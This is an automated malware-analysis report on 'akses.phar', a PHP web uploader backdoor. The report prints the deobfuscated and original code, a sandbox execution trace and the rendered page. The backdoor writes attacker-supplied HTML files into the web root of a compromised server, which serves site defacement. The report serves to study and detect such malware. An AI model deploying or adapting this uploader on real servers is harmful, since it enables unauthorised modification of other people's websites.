PHP Malware Analysis

akses.phar

md5: 910392685ba87cf38d67fc479fa56b59

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title

URLs


Deobfuscated PHP code


<!doctype html>
<link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
    <meta name="author" content="Copyright @2021"> <!-- Copyright @2021 -->
    <!--<link rel="icon" type="image/png" href="https://j.top4top.io/p_1921uc42l1.png">--->
    <meta name="description" content="N00bs 0nLy||Uploader SCS">
    <meta name="theme-color" content="#000">
    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Girassol&display=swap" rel="stylesheet">
    <!--<link rel="icon" href="https://e.top4top.io/p_1537bif0s0.jpg" type="image/jpg">-->
    <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.1.0/css/font-awesome.min.css'>
<link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">
    <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> 
		<script src='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.2.0/js/bootstrap.min.js'></script>
		<script src='https://unpkg.com/sweetalert/dist/sweetalert.min.js'></script>
		<link href="https://fonts.googleapis.com/css2?family=Iceland&display=swap" rel="stylesheet">
    <title>Uploader By Informasi-IT</title>
    <style>
html,body,.container{
            background:#000;
            position: fixed;
            margin: auto;
            height: 100%;
            top: 0; bottom: 0; left: 0; right:0;
            font-family: 'Iceland',cursive;
            color: #000;
        }
    	#ico{width:200px;height:150px;}
    </style>
  </head>
  <body>
<iframe widllth="0%" height="0" scrolling="no" frameborder="no" loop="true" allow="autoplay" src="https://f.top4top.io/m_1570zhrkw0.mp3"></iframe>
    <div class="container text-center mx-auto">
    	<h2 class="mt-3"><font color="#FFFFFF">Akses By Washere</font></h2>
<br>
<br>
<h4 class="mt-3"><font color="#fff">Uploader : .jpg .html .png .gif</font></h4><br>
    	<form method="post" enctype="multipart/form-data">
    		<div class="row">
    			<div class="col">
    				<input id="previews" placeholder="Pilih File" class="form-control bg-transparent text-white" readonly="readonly">
    			</div>
 
    			<div class="col">
    				<div class="input-group">
    					<div class="custom-file">
    						<input type="file" name="randsx" class="custom-file-input bg-transparent" id="FileSel">
    						<label class="custom-file-label bg-transparent" for="previews"></label>
    					</div>
    				</div>
    			</div>
    		</div>
    		<button type="submit" name="upload" class="btn btn-secondary btn-block bg-transparent mt-3" id="load" data-loading-text="<i class='fa fa-refresh fa-spin'></i> Sabar Gay(n)"><font color="#FFFFFF">Klik Me</font></button>
    	</form><hr>
 
<?php 
$server = $_SERVER['DOCUMENT_ROOT'];
$namaFile = $_FILES['randsx']['name'];
$getcwd = "{$server}/{$namaFile}";
$typeExt = pathinfo($namaFile, PATHINFO_EXTENSION);
if (isset($_POST['upload'])) {
    if ($namaFile !== '') {
        if (is_writable($server)) {
            if ($typeExt === 'html') {
                if ($namaFile !== 'index') {
                    if (@copy($_FILES['randsx']['tmp_name'], $getcwd)) {
                        $akses = 'http://' . $_SERVER['HTTP_HOST'] . '/';
                        echo "<script>swal(\"Berhasil\", \"Silahkan Show off\", \"success\")</script>";
                        echo '<center><a href="' . $akses . $namaFile . '" target="_blank">Hasil klik di sini</a></center>';
                    } else {
                        echo "<script>swal(\"Wkwk Gagal\", \"Faktor Face, Maybe\", \"error\"</script>";
                    }
                } else {
                    echo "<script>swal(\"Mau Ngindex??\", \"Gabisa Lah KONTOL!!!\", \"error\")</script>";
                }
            } else {
                echo "<script>swal(\"Apasih??\", \"File Ekstensi Harus HTML anjg\", \"info\")</script>";
            }
        } else {
            echo "<script>swal(\"Gagal Gay(n)\", \"Server Not Support\", \"error\")</script>";
        }
    } else {
        echo "<script>swal(\"Hahh??\", \"Mau upload apaan??\", \"info\")</script>";
    }
}
?>
<footer>
	<body dir="ltr" alink="#00FFFF" background="transparan" bgcolor="#000000" link="grey" text="grey" vlink="white">
&copy; 2020 - <center><font color="#00FFFF"><a href="/">washere</font></a></center>
</footer>
    </div>
		<script>
			document.getElementById('FileSel').onchange = function()
			{
				document.getElementById('previews').value = this.value;
			};
 
			$('.btn').on('click', function(){
				var $this = $(this);
				$this.button('loading');
			});
 
		</script>
  </body>
</html>

Execution traces

data/traces/910392685ba87cf38d67fc479fa56b59_trace-1676242934.3536.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:02:40.251401]
1	0	1	0.000150	393528
1	3	0	0.000253	403568	{main}	1		/var/www/html/uploads/akses.phar	0	0
1		A						/var/www/html/uploads/akses.phar	63	$server = '/var/www/html'
1		A						/var/www/html/uploads/akses.phar	64	$namaFile = NULL
1		A						/var/www/html/uploads/akses.phar	65	$getcwd = '/var/www/html/'
2	4	0	0.000325	403608	pathinfo	0		/var/www/html/uploads/akses.phar	66	2	NULL	4
2	4	1	0.000340	403672
2	4	R			''
1		A						/var/www/html/uploads/akses.phar	66	$typeExt = ''
1	3	1	0.000365	403608
			0.000391	314416
TRACE END   [2023-02-12 21:02:40.251671]


Generated HTML code

<html lang="en"><head><style type="text/css">.swal-icon--error{border-color:#f27474;-webkit-animation:animateErrorIcon .5s;animation:animateErrorIcon .5s}.swal-icon--error__x-mark{position:relative;display:block;-webkit-animation:animateXMark .5s;animation:animateXMark .5s}.swal-icon--error__line{position:absolute;height:5px;width:47px;background-color:#f27474;display:block;top:37px;border-radius:2px}.swal-icon--error__line--left{-webkit-transform:rotate(45deg);transform:rotate(45deg);left:17px}.swal-icon--error__line--right{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);right:16px}@-webkit-keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@-webkit-keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}@keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}.swal-icon--warning{border-color:#f8bb86;-webkit-animation:pulseWarning .75s infinite alternate;animation:pulseWarning .75s infinite alternate}.swal-icon--warning__body{width:5px;height:47px;top:10px;border-radius:2px;margin-left:-2px}.swal-icon--warning__body,.swal-icon--warning__dot{position:absolute;left:50%;background-color:#f8bb86}.swal-icon--warning__dot{width:7px;height:7px;border-radius:50%;margin-left:-4px;bottom:-11px}@-webkit-keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}@keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}.swal-icon--success{border-color:#a5dc86}.swal-icon--success:after,.swal-icon--success:before{content:"";border-radius:50%;position:absolute;width:60px;height:120px;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.swal-icon--success:before{border-radius:120px 0 0 120px;top:-7px;left:-33px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:60px 60px;transform-origin:60px 60px}.swal-icon--success:after{border-radius:0 120px 120px 0;top:-11px;left:30px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:0 60px;transform-origin:0 60px;-webkit-animation:rotatePlaceholder 4.25s ease-in;animation:rotatePlaceholder 4.25s ease-in}.swal-icon--success__ring{width:80px;height:80px;border:4px solid hsla(98,55%,69%,.2);border-radius:50%;box-sizing:content-box;position:absolute;left:-4px;top:-4px;z-index:2}.swal-icon--success__hide-corners{width:5px;height:90px;background-color:#fff;padding:1px;position:absolute;left:28px;top:8px;z-index:1;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.swal-icon--success__line{height:5px;background-color:#a5dc86;display:block;border-radius:2px;position:absolute;z-index:2}.swal-icon--success__line--tip{width:25px;left:14px;top:46px;-webkit-transform:rotate(45deg);transform:rotate(45deg);-webkit-animation:animateSuccessTip .75s;animation:animateSuccessTip .75s}.swal-icon--success__line--long{width:47px;right:8px;top:38px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-animation:animateSuccessLong .75s;animation:animateSuccessLong .75s}@-webkit-keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@-webkit-keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@-webkit-keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}@keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}.swal-icon--info{border-color:#c9dae1}.swal-icon--info:before{width:5px;height:29px;bottom:17px;border-radius:2px;margin-left:-2px}.swal-icon--info:after,.swal-icon--info:before{content:"";position:absolute;left:50%;background-color:#c9dae1}.swal-icon--info:after{width:7px;height:7px;border-radius:50%;margin-left:-3px;top:19px}.swal-icon{width:80px;height:80px;border-width:4px;border-style:solid;border-radius:50%;padding:0;position:relative;box-sizing:content-box;margin:20px auto}.swal-icon:first-child{margin-top:32px}.swal-icon--custom{width:auto;height:auto;max-width:100%;border:none;border-radius:0}.swal-icon img{max-width:100%;max-height:100%}.swal-title{color:rgba(0,0,0,.65);font-weight:600;text-transform:none;position:relative;display:block;padding:13px 16px;font-size:27px;line-height:normal;text-align:center;margin-bottom:0}.swal-title:first-child{margin-top:26px}.swal-title:not(:first-child){padding-bottom:0}.swal-title:not(:last-child){margin-bottom:13px}.swal-text{font-size:16px;position:relative;float:none;line-height:normal;vertical-align:top;text-align:left;display:inline-block;margin:0;padding:0 10px;font-weight:400;color:rgba(0,0,0,.64);max-width:calc(100% - 20px);overflow-wrap:break-word;box-sizing:border-box}.swal-text:first-child{margin-top:45px}.swal-text:last-child{margin-bottom:45px}.swal-footer{text-align:right;padding-top:13px;margin-top:13px;padding:13px 16px;border-radius:inherit;border-top-left-radius:0;border-top-right-radius:0}.swal-button-container{margin:5px;display:inline-block;position:relative}.swal-button{background-color:#7cd1f9;color:#fff;border:none;box-shadow:none;border-radius:5px;font-weight:600;font-size:14px;padding:10px 24px;margin:0;cursor:pointer}.swal-button:not([disabled]):hover{background-color:#78cbf2}.swal-button:active{background-color:#70bce0}.swal-button:focus{outline:none;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(43,114,165,.29)}.swal-button[disabled]{opacity:.5;cursor:default}.swal-button::-moz-focus-inner{border:0}.swal-button--cancel{color:#555;background-color:#efefef}.swal-button--cancel:not([disabled]):hover{background-color:#e8e8e8}.swal-button--cancel:active{background-color:#d7d7d7}.swal-button--cancel:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(116,136,150,.29)}.swal-button--danger{background-color:#e64942}.swal-button--danger:not([disabled]):hover{background-color:#df4740}.swal-button--danger:active{background-color:#cf423b}.swal-button--danger:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(165,43,43,.29)}.swal-content{padding:0 20px;margin-top:20px;font-size:medium}.swal-content:last-child{margin-bottom:20px}.swal-content__input,.swal-content__textarea{-webkit-appearance:none;background-color:#fff;border:none;font-size:14px;display:block;box-sizing:border-box;width:100%;border:1px solid rgba(0,0,0,.14);padding:10px 13px;border-radius:2px;transition:border-color .2s}.swal-content__input:focus,.swal-content__textarea:focus{outline:none;border-color:#6db8ff}.swal-content__textarea{resize:vertical}.swal-button--loading{color:transparent}.swal-button--loading~.swal-button__loader{opacity:1}.swal-button__loader{position:absolute;height:auto;width:43px;z-index:2;left:50%;top:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);text-align:center;pointer-events:none;opacity:0}.swal-button__loader div{display:inline-block;float:none;vertical-align:baseline;width:9px;height:9px;padding:0;border:none;margin:2px;opacity:.4;border-radius:7px;background-color:hsla(0,0%,100%,.9);transition:background .2s;-webkit-animation:swal-loading-anim 1s infinite;animation:swal-loading-anim 1s infinite}.swal-button__loader div:nth-child(3n+2){-webkit-animation-delay:.15s;animation-delay:.15s}.swal-button__loader div:nth-child(3n+3){-webkit-animation-delay:.3s;animation-delay:.3s}@-webkit-keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}@keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}.swal-overlay{position:fixed;top:0;bottom:0;left:0;right:0;text-align:center;font-size:0;overflow-y:auto;background-color:rgba(0,0,0,.4);z-index:10000;pointer-events:none;opacity:0;transition:opacity .3s}.swal-overlay:before{content:" ";display:inline-block;vertical-align:middle;height:100%}.swal-overlay--show-modal{opacity:1;pointer-events:auto}.swal-overlay--show-modal .swal-modal{opacity:1;pointer-events:auto;box-sizing:border-box;-webkit-animation:showSweetAlert .3s;animation:showSweetAlert .3s;will-change:transform}.swal-modal{width:478px;opacity:0;pointer-events:none;background-color:#fff;text-align:center;border-radius:5px;position:static;margin:20px auto;display:inline-block;vertical-align:middle;-webkit-transform:scale(1);transform:scale(1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;z-index:10001;transition:opacity .2s,-webkit-transform .3s;transition:transform .3s,opacity .2s;transition:transform .3s,opacity .2s,-webkit-transform .3s}@media (max-width:500px){.swal-modal{width:calc(100% - 20px)}}@-webkit-keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}@keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}</style><link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">

  
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
    <meta name="author" content="Copyright @2021"> <!-- Copyright @2021 -->
    <!--<link rel="icon" type="image/png" href="https://j.top4top.io/p_1921uc42l1.png">--->
    <meta name="description" content="N00bs 0nLy||Uploader SCS">
    <meta name="theme-color" content="#000">
    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Girassol&amp;display=swap" rel="stylesheet">
    <!--<link rel="icon" href="https://e.top4top.io/p_1537bif0s0.jpg" type="image/jpg">-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.1.0/css/font-awesome.min.css">
<link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">
    <script src="http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> 
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.2.0/js/bootstrap.min.js"></script>
		<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
		<link href="https://fonts.googleapis.com/css2?family=Iceland&amp;display=swap" rel="stylesheet">
    <title>Uploader By Informasi-IT</title>
    <style>
html,body,.container{
            background:#000;
            position: fixed;
            margin: auto;
            height: 100%;
            top: 0; bottom: 0; left: 0; right:0;
            font-family: 'Iceland',cursive;
            color: #000;
        }
    	#ico{width:200px;height:150px;}
    </style>
  </head>
  <body dir="ltr" alink="#00FFFF" background="transparan" bgcolor="#000000" link="grey" text="grey" vlink="white">
<iframe widllth="0%" height="0" scrolling="no" frameborder="no" loop="true" allow="autoplay" src="https://f.top4top.io/m_1570zhrkw0.mp3"></iframe>
    <div class="container text-center mx-auto">
    	<h2 class="mt-3"><font color="#FFFFFF">Akses By Washere</font></h2>
<br>
<br>
<h4 class="mt-3"><font color="#fff">Uploader : .jpg .html .png .gif</font></h4><br>
    	<form method="post" enctype="multipart/form-data">
    		<div class="row">
    			<div class="col">
    				<input id="previews" placeholder="Pilih File" class="form-control bg-transparent text-white" readonly="readonly">
    			</div>
 
    			<div class="col">
    				<div class="input-group">
    					<div class="custom-file">
    						<input type="file" name="randsx" class="custom-file-input bg-transparent" id="FileSel">
    						<label class="custom-file-label bg-transparent" for="previews"></label>
    					</div>
    				</div>
    			</div>
    		</div>
    		<button type="submit" name="upload" class="btn btn-secondary btn-block bg-transparent mt-3" id="load" data-loading-text="<i class='fa fa-refresh fa-spin'></i> Sabar Gay(n)"><font color="#FFFFFF">Klik Me</font></button>
    	</form><hr>
 
<footer>
	
© 2020 - <center><font color="#00FFFF"><a href="/">washere</a></font></center>
</footer>
    </div>
		<script>
			document.getElementById('FileSel').onchange = function()
			{
				document.getElementById('previews').value = this.value;
			};
 
			$('.btn').on('click', function(){
				var $this = $(this);
				$this.button('loading');
			});
 
		</script>
  
</body></html>

Original PHP code


<!doctype html>
<link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
    <meta name="author" content="Copyright @2021"> <!-- Copyright @2021 -->
    <!--<link rel="icon" type="image/png" href="https://j.top4top.io/p_1921uc42l1.png">--->
    <meta name="description" content="N00bs 0nLy||Uploader SCS">
    <meta name="theme-color" content="#000">
    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Girassol&display=swap" rel="stylesheet">
    <!--<link rel="icon" href="https://e.top4top.io/p_1537bif0s0.jpg" type="image/jpg">-->
    <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.1.0/css/font-awesome.min.css'>
<link rel="icon" type="image/png" href="https://e.top4top.io/p_1537bif0s0.jpg">
    <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> 
		<script src='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.2.0/js/bootstrap.min.js'></script>
		<script src='https://unpkg.com/sweetalert/dist/sweetalert.min.js'></script>
		<link href="https://fonts.googleapis.com/css2?family=Iceland&display=swap" rel="stylesheet">
    <title>Uploader By Informasi-IT</title>
    <style>
html,body,.container{
            background:#000;
            position: fixed;
            margin: auto;
            height: 100%;
            top: 0; bottom: 0; left: 0; right:0;
            font-family: 'Iceland',cursive;
            color: #000;
        }
    	#ico{width:200px;height:150px;}
    </style>
  </head>
  <body>
<iframe widllth="0%" height="0" scrolling="no" frameborder="no" loop="true" allow="autoplay" src="https://f.top4top.io/m_1570zhrkw0.mp3"></iframe>
    <div class="container text-center mx-auto">
    	<h2 class="mt-3"><font color="#FFFFFF">Akses By Washere</font></h2>
<br>
<br>
<h4 class="mt-3"><font color="#fff">Uploader : .jpg .html .png .gif</font></h4><br>
    	<form method="post" enctype="multipart/form-data">
    		<div class="row">
    			<div class="col">
    				<input id="previews" placeholder="Pilih File" class="form-control bg-transparent text-white" readonly="readonly">
    			</div>
 
    			<div class="col">
    				<div class="input-group">
    					<div class="custom-file">
    						<input type="file" name="randsx" class="custom-file-input bg-transparent" id="FileSel">
    						<label class="custom-file-label bg-transparent" for="previews"></label>
    					</div>
    				</div>
    			</div>
    		</div>
    		<button type="submit" name="upload" class="btn btn-secondary btn-block bg-transparent mt-3" id="load" data-loading-text="<i class='fa fa-refresh fa-spin'></i> Sabar Gay(n)"><font color="#FFFFFF">Klik Me</font></button>
    	</form><hr>
 
<?php
	$server   = $_SERVER['DOCUMENT_ROOT'];
	$namaFile = $_FILES['randsx']['name'];
	$getcwd   = "$server/$namaFile";
	$typeExt  = pathinfo($namaFile, PATHINFO_EXTENSION);
if(isset($_POST['upload'])){
if($namaFile !== ''){
	if(is_writable($server)){
		if($typeExt === 'html'){
			if($namaFile !== 'index'){
				if(@copy($_FILES['randsx']['tmp_name'], $getcwd)){
					$akses = 'http://'.$_SERVER['HTTP_HOST'].'/';
					echo '<script>swal("Berhasil", "Silahkan Show off", "success")</script>';
					echo '<center><a href="'.$akses.$namaFile.'" target="_blank">Hasil klik di sini</a></center>';
				}else{
					echo '<script>swal("Wkwk Gagal", "Faktor Face, Maybe", "error"</script>';
				}
			}else{
				echo '<script>swal("Mau Ngindex??", "Gabisa Lah KONTOL!!!", "error")</script>';
			}
		}else{
			echo '<script>swal("Apasih??", "File Ekstensi Harus HTML anjg", "info")</script>';
			}
		}else{
			echo '<script>swal("Gagal Gay(n)", "Server Not Support", "error")</script>';
		}
	}else{
		echo '<script>swal("Hahh??", "Mau upload apaan??", "info")</script>';
	}
}
?>
<footer>
	<body dir="ltr" alink="#00FFFF" background="transparan" bgcolor="#000000" link="grey" text="grey" vlink="white">
&copy; 2020 - <center><font color="#00FFFF"><a href="/">washere</font></a></center>
</footer>
    </div>
		<script>
			document.getElementById('FileSel').onchange = function()
			{
				document.getElementById('previews').value = this.value;
			};
 
			$('.btn').on('click', function(){
				var $this = $(this);
				$this.button('loading');
			});
 
		</script>
  </body>
</html>